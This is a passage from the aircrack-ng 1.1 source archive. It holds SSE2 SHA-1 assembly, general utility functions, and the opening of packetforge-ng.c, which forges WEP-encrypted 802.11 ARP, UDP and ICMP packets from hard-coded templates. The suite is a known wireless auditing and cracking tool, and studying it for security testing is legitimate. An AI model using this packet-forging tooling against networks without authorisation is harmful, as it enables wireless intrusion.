%xmm4 #define tmp1 %xmm5 #define tmp2 %xmm6 #define tmp3 %xmm7 #define tmp4 ctxa #define tmp5 ctxb #ifdef __x86_64__ #define edx_rsi %rsi #define ecx_rdx %rdx #define eax_rdi %rdi #else #define edx_rsi %edx #define ecx_rdx %ecx #define eax_rdi %eax #endif // movdqa movapd #define F0(x,y,z) \ movdqa x, tmp2; \ movdqa x, tmp1; \ pand y, tmp2; \ pandn z, tmp1; \ por tmp2, tmp1; #define F1(x,y,z) \ movdqa z, tmp1; \ pxor y, tmp1; \ pxor x, tmp1 #define F2(x,y,z) \ movdqa x, tmp1; \ movdqa x, tmp2; \ pand y, tmp1; \ por y, tmp2; \ pand z, tmp2; \ por tmp2, tmp1; #define subRoundX(a, b, c, d, e, f, k, data) \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; \ movdqa (data*16)(edx_rsi), tmp1; \ movdqa tmp1, tmp2; \ pand MANGLE(const_ff00), tmp1; \ pand MANGLE(const_00ff), tmp2; \ psrld $8, tmp1; \ pslld $8, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, tmp2; \ psrld $16, tmp1; \ pslld $16, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; #define subRoundY(a, b, c, d, e, f, k, data) \ movdqa ((data- 3)*16)(ecx_rdx), tmp1; \ pxor ((data- 8)*16)(ecx_rdx), tmp1; \ pxor ((data-14)*16)(ecx_rdx), tmp1; \ pxor ((data-16)*16)(ecx_rdx), tmp1; \ \ movdqa tmp1, tmp2; \ pslld $1, tmp1; \ psrld $31, tmp2; \ por tmp2, tmp1; \ movdqa tmp1, (data*16)(ecx_rdx); \ paddd tmp1, e; \ f(b,c,d); \ movdqa a, tmp2; \ movdqa a, tmp3; \ paddd tmp1, e; \ pslld $5, tmp2; \ psrld $27, tmp3; \ por tmp3, tmp2; \ paddd tmp2, e; \ movdqa b, tmp2; \ pslld $30, b; \ paddd MANGLE(k), e; \ psrld $2, tmp2; \ por tmp2, b; .text // arg 1 (eax) (64bit: rdi): context (4*20 bytes) shasse2_init: _shasse2_init: movdqa MANGLE(const_init_a), ctxa movdqa MANGLE(const_init_b), ctxb movdqa MANGLE(const_init_c), ctxc movdqa MANGLE(const_init_d), ctxd movdqa MANGLE(const_init_e), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi) : digests (4*20 bytes) shasse2_ends: _shasse2_ends: movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe movdqa MANGLE(const_ff00), tmp3 movdqa ctxa, tmp1 movdqa ctxb, tmp2 pand tmp3, ctxa pand tmp3, ctxb movdqa MANGLE(const_00ff), tmp3 pand tmp3, tmp1 pand tmp3, tmp2 psrld $8, ctxa psrld $8, ctxb pslld $8, tmp1 pslld $8, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, tmp1 movdqa ctxb, tmp2 psrld $16, ctxa psrld $16, ctxb pslld $16, tmp1 pslld $16, tmp2 por tmp1, ctxa por tmp2, ctxb movdqa ctxa, 0(edx_rsi) movdqa ctxb, 16(edx_rsi) movdqa MANGLE(const_ff00), tmp5 movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 pand tmp5, ctxc pand tmp5, ctxd pand tmp5, ctxe movdqa MANGLE(const_00ff), tmp5 pand tmp5, tmp1 pand tmp5, tmp2 pand tmp5, tmp3 psrld $8, ctxc psrld $8, ctxd psrld $8, ctxe pslld $8, tmp1 pslld $8, tmp2 pslld $8, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, tmp1 movdqa ctxd, tmp2 movdqa ctxe, tmp3 psrld $16, ctxc psrld $16, ctxd psrld $16, ctxe pslld $16, tmp1 pslld $16, tmp2 pslld $16, tmp3 por tmp1, ctxc por tmp2, ctxd por tmp3, ctxe movdqa ctxc, 32(edx_rsi) movdqa ctxd, 48(edx_rsi) movdqa ctxe, 64(edx_rsi) ret // arg 1 (eax) (64bit: rdi): context (4*20 bytes) // arg 2 (edx) (64bit: rsi): input data (4*64 bytes) // arg 3 (ecx) (64bit: rdx): workspace (1280 bytes) shasse2_data: _shasse2_data: movdqa 0(eax_rdi), ctxa movdqa 16(eax_rdi), ctxb movdqa 32(eax_rdi), ctxc movdqa 48(eax_rdi), ctxd movdqa 64(eax_rdi), ctxe round0: prefetchnta (edx_rsi) subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 0 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 1 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 2 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 3 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 4 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 5 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 6 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 7 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 8 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 9 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 ); subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 ); subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 ); subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 ); subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 ); subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 ); round1: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 ); round2: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 ); round3: subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 ); subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 ); subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 ); subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 ); subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 ); subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 ); paddd 0(eax_rdi), ctxa paddd 16(eax_rdi), ctxb paddd 32(eax_rdi), ctxc paddd 48(eax_rdi), ctxd paddd 64(eax_rdi), ctxe movdqa ctxa, 0(eax_rdi) movdqa ctxb, 16(eax_rdi) movdqa ctxc, 32(eax_rdi) movdqa ctxd, 48(eax_rdi) movdqa ctxe, 64(eax_rdi) ret // returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported shasse2_cpuid: _shasse2_cpuid: #ifndef __x86_64__ pushfl pushfl popl %eax movl %eax, %ecx xorl $0x200000, %eax push %eax popfl pushfl popl %eax popfl xorl %ecx, %eax jnz do_cpuid ret do_cpuid: #endif #ifdef __x86_64__ push %rbx push %rcx push %rdx #else push %ebx push %ecx push %edx #endif movl $1, %eax cpuid testl $0x00800000, %edx // bit 23 (MMX) jz no_mmx testl $0x04000000, %edx // bit 26 (SSE2) jz mmx_only // sse2 supported: movl $2, %eax jmp cpuid_exit mmx_only: movl $1, %eax jmp cpuid_exit no_mmx: movl $0, %eax cpuid_exit: #ifdef __x86_64__ pop %rdx pop %rcx pop %rbx #else pop %edx pop %ecx pop %ebx #endif ret #endif #ifdef __ELF__ .section .note.GNU-stack,"",%progbits #endif aircrack-ng-1.1/src/common.c0000644000000000000000000001712111321162675014463 0ustar rootroot/* * Common functions for all aircrack-ng tools * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #define isHex(c) (hexToInt(c) != -1) #define HEX_BASE 16 int get_ram_size(void) { FILE *fp; char str[256]; int val = 0; int ret = -1; if (!(fp = fopen("/proc/meminfo", "r"))) { perror("fopen fails"); return ret; } memset(str, 0x00, sizeof(str)); while ((fscanf(fp, "%s %d", str, &val)) != 0 && ret == -1) { if (!(strncmp(str, "MemTotal", 8))) { ret = val; } } fclose(fp); return ret; } /* Return the version number */ char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc) { int len; char * temp; char * provis = calloc(1,20); len = strlen(progname) + 200; temp = (char *) calloc(1,len); snprintf(temp, len, "%s %d.%d", progname, maj, min); if (submin > 0) { snprintf(provis, 20,".%d",submin); strncat(temp, provis, len - strlen(temp)); memset(provis,0,20); } if (rc > 0) { snprintf(provis, 20, " rc%d", rc); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } else if (beta > 0) { snprintf(provis, 20, " beta%d", beta); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } if (svnrev > 0) { snprintf(provis, 20," r%d",svnrev); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } free(provis); temp = realloc(temp, strlen(temp)+1); return temp; } // Return the number of cpu. If detection fails, it will return -1; int get_nb_cpus() { // Optmization for windows: use GetSystemInfo() char * s, * pos; FILE * f; int number = -1; // Reading /proc/cpuinfo is more reliable on current CPUs, // so put it first and try the old method if this one fails f = fopen("/proc/cpuinfo", "r"); if (f != NULL) { s = (char *)calloc(1, 81); if (s != NULL) { // Get the latest value of "processor" element // and increment it by 1 and it that value // will be the number of CPU. number = -2; while (fgets(s, 80, f) != NULL) { pos = strstr(s, "processor"); if (pos == s) { pos = strchr(s, ':'); number = atoi(pos + 1); } } ++number; free(s); } fclose(f); } #ifdef _SC_NPROCESSORS_ONLN // Try the usual method if _SC_NPROCESSORS_ONLN exist if (number == -1) { number = sysconf(_SC_NPROCESSORS_ONLN); /* Fails on some archs */ if (number < 1) { number = -1; } } #endif return number; } //compares two MACs int maccmp(unsigned char *mac1, unsigned char *mac2) { int i=0; if(mac1 == NULL || mac2 == NULL) return -1; for(i=0; i<6; i++) { if( toupper(mac1[i]) != toupper(mac2[i]) ) return -1; } return 0; } // Converts a mac address in a human-readable format char * mac2string(unsigned char *mac_address ) { char * mac_string = (char *)malloc(sizeof(char)*18); snprintf(mac_string, 18, "%02X:%02X:%02X:%02X:%02X:%02X", *mac_address, *(mac_address+1), *(mac_address+2), *(mac_address+3), *(mac_address+4), *(mac_address+5)); return mac_string; } /* Return -1 if it's not an hex value and return its value when it's a hex value */ int hexCharToInt(unsigned char c) { static int table_created = 0; static int table[256]; int i; if (table_created == 0) { /* * It may seem a bit long to calculate the table * but character position depend on the charset used * Example: EBCDIC * but it's only done once and then conversion will be really fast */ for (i=0; i < 256; i++) { switch ((unsigned char)i) { case '0': table[i] = 0; break; case '1': table[i] = 1; break; case '2': table[i] = 2; break; case '3': table[i] = 3; break; case '4': table[i] = 4; break; case '5': table[i] = 5; break; case '6': table[i] = 6; break; case '7': table[i] = 7; break; case '8': table[i] = 8; break; case '9': table[i] = 9; break; case 'A': case 'a': table[i] = 10; break; case 'B': case 'b': table[i] = 11; break; case 'C': case 'c': table[i] = 12; break; case 'D': case 'd': table[i] = 13; break; case 'E': case 'e': table[i] = 14; break; case 'F': case 'f': table[i] = 15; break; default: table[i] = -1; } } table_created = 1; } return table[c]; } int hexStringToHex(char* in, int length, unsigned char* out) { int i=0; int char1, char2; char *input=in; unsigned char *output=out; if(length < 1) return 1; for(i=0; i 15) return -1; output[i/2] = ((char1 << 4) + char2) & 0xFF; } return (i/2); } //Return the mac address bytes (or null if it's not a mac address) int getmac(char * macAddress, int strict, unsigned char * mac) { char byte[3]; int i, nbElem, n; if (macAddress == NULL) return 1; /* Minimum length */ if ((int)strlen(macAddress) < 12) return 1; memset(mac, 0, 6); byte[2] = 0; i = nbElem = 0; while (macAddress[i] != 0) { byte[0] = macAddress[i]; byte[1] = macAddress[i+1]; if (sscanf( byte, "%x", &n ) != 1 && strlen(byte) == 2) return 1; if (hexCharToInt(byte[1]) < 0) return 1; mac[nbElem] = n; i+=2; nbElem++; if (macAddress[i] == ':' || macAddress[i] == '-' || macAddress[i] == '_') i++; } if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1; return 0; } // Read a line of characters inputted by the user int readLine(char line[], int maxlength) { int c; int i = -1; do { // Read char c = getchar(); if (c == EOF) c = '\0'; line[++i] = (char)c; if (line[i] == '\n') break; if (line[i] == '\r') break; if (line[i] == '\0') break; } while (i + 1 < maxlength); // Stop at 'Enter' key pressed or EOF or max number of char read // Return current size return i; } int hexToInt(char s[], int len) { int i = 0; int convert = -1; int value = 0; // Remove leading 0 (and also the second char that can be x or X) while (i < len) { if (s[i] != '0' || (i == 1 && toupper((int)s[i]) != 'X')) break; ++i; } // Convert to hex while (i < len) { convert = hexCharToInt((unsigned char)s[i]); // If conversion failed, return -1 if (convert == -1) return -1; value = (value * HEX_BASE) + convert; ++i; } return value; } aircrack-ng-1.1/src/version.h0000644000000000000000000000017411364647470014675 0ustar rootroot#define _MAJ 1 #define _MIN 1 #define _SUB_MIN 0 #define _BETA 0 #define _RC 0 #define WEBSITE "http://www.aircrack-ng.org" aircrack-ng-1.1/src/packetforge-ng.c0000644000000000000000000011312711355271630016071 0ustar rootroot/* * 802.11 ARP-request WEP packet forgery * UDP, ICMP and custom packet forging developped by Martin Beck * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (arpforge) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "osdep/byteorder.h" #include "common.h" #define ARP_REQ \ "\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00" \ "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \ "\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \ "\x00\x00\x00\x00\x00\x00\x00\x00" #define UDP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05" #define ICMP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01" #define NULL_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine and Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " Usage: packetforge-ng \n" "\n" " Forge options:\n" "\n" " -p : set frame control word (hex)\n" " -a : set Access Point MAC address\n" " -c : set Destination MAC address\n" " -h : set Source MAC address\n" " -j : set FromDS bit\n" " -o : clear ToDS bit\n" " -e : disables WEP encryption\n" " -k : set Destination IP [Port]\n" " -l : set Source IP [Port]\n" " -t ttl : set Time To Live\n" " -w : write packet to this pcap file\n" " -s : specify size of null packet\n" " -n : set number of packets to generate\n" "\n" " Source options:\n" "\n" " -r : read packet from this raw file\n" " -y : read PRGA from this file\n" "\n" " Modes:\n" "\n" " --arp : forge an ARP packet (-0)\n" " --udp : forge an UDP packet (-1)\n" " --icmp : forge an ICMP packet (-2)\n" " --null : build a null packet (-3)\n" " --custom : build a custom packet (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char bssid[6]; unsigned char dmac[6]; unsigned char smac[6]; unsigned char dip[4]; unsigned char sip[4]; unsigned char fctrl[2]; unsigned char *prga; char *cap_out; char *raw_file; int mode; int pktlen; int prgalen; int ttl; int size; unsigned short sport; unsigned short dport; char tods; char fromds; char encrypt; FILE* ivs2; unsigned char prev_bssid[6]; int first_packet; int num_packets; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; unsigned char h80211[2048]; unsigned char tmpbuf[2048]; int capture_ask_packet( int *caplen ) { time_t tr; struct timeval tv; long nb_pkt_read; int i, j, n, mi_b, mi_s, mi_d; int ret; struct pcap_pkthdr pkh; tr = time( NULL ); nb_pkt_read = 0; if(opt.raw_file == NULL) { printf("Please specify an input file (-r).\n"); return 1; } while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } nb_pkt_read++; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if( ( h80211[27] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } return( 0 ); } int packet_dump(unsigned char* packet, int length) { int i; if(packet == NULL) return 1; if(length <= 0 || length > 2048) return 1; for(i=0; i 255 ) return( 1 ); ip[i] = n; if( ++i == 4 ) break; if( ! ( s = strchr( s, '.' ) ) ) break; s++; } if(i != 4) return 1; if( ( s = strchr( s, ':' ) ) && i == 4 ) { s++; if( sscanf( s, "%d", &n ) == 1 ) { if(n > 0 && n < 65536) *port = n; } } return( i != 4 ); } unsigned short ip_chksum(unsigned short* addr, int count) { unsigned short checksum; /* Compute Internet Checksum for "count" bytes * beginning at location "addr". */ unsigned long sum = 0; while( count > 1 ) { /* This is the inner loop */ sum += *addr; addr++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) sum += * (unsigned char *) addr; /* Fold 32-bit sum to 16 bits */ while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); checksum = ~sum; return checksum; } int set_tofromds(unsigned char* packet) { if(packet == NULL) return 1; /* set TODS,FROMDS bits */ if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 